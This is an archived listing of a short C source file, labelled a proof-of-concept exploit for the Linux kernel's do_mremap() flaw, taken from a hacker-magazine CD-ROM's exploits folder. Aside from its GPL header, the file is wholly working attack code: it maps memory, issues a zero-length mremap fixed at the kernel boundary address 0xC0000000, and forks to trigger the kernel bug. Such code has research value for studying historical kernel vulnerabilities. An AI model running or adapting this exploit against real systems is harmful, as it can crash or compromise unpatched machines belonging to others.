home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / mremap_poc / mremap_poc.c < prev   
Encoding:
C/C++ Source or Header  |  2004-03-03  |  1.5 KB  |  49 lines
  1. /*
  2.  *  Proof-of-concept exploit code for do_mremap()
  3.  *
  4.  *  Copyright (C) 2004  Christophe Devine and Julien Tinnes
  5.  *
  6.  *  This program is free software; you can redistribute it and/or modify
  7.  *  it under the terms of the GNU General Public License as published by
  8.  *  the Free Software Foundation; either version 2 of the License, or
  9.  *  (at your option) any later version.
  10.  *
  11.  *  This program is distributed in the hope that it will be useful,
  12.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *  GNU General Public License for more details.
  15.  *
  16.  *  You should have received a copy of the GNU General Public License
  17.  *  along with this program; if not, write to the Free Software
  18.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  19.  */
  20.  
  21. #include <asm/unistd.h>
  22. #include <sys/mman.h>
  23. #include <unistd.h>
  24. #include <errno.h>
  25.  
  26. #define MREMAP_MAYMOVE  1
  27. #define MREMAP_FIXED    2
  28.  
  29. #define __NR_real_mremap __NR_mremap
  30.  
  31. static inline _syscall5( void *, real_mremap, void *, old_address,
  32.                          size_t, old_size, size_t, new_size,
  33.                          unsigned long, flags, void *, new_address );
  34.  
  35. int main( void )
  36. {
  37.     void *base;
  38.  
  39.     base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
  40.                  MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
  41.  
  42.     real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
  43.                  (void *) 0xC0000000 );
  44.  
  45.     fork();
  46.  
  47.     return( 0 );
  48. }
  49.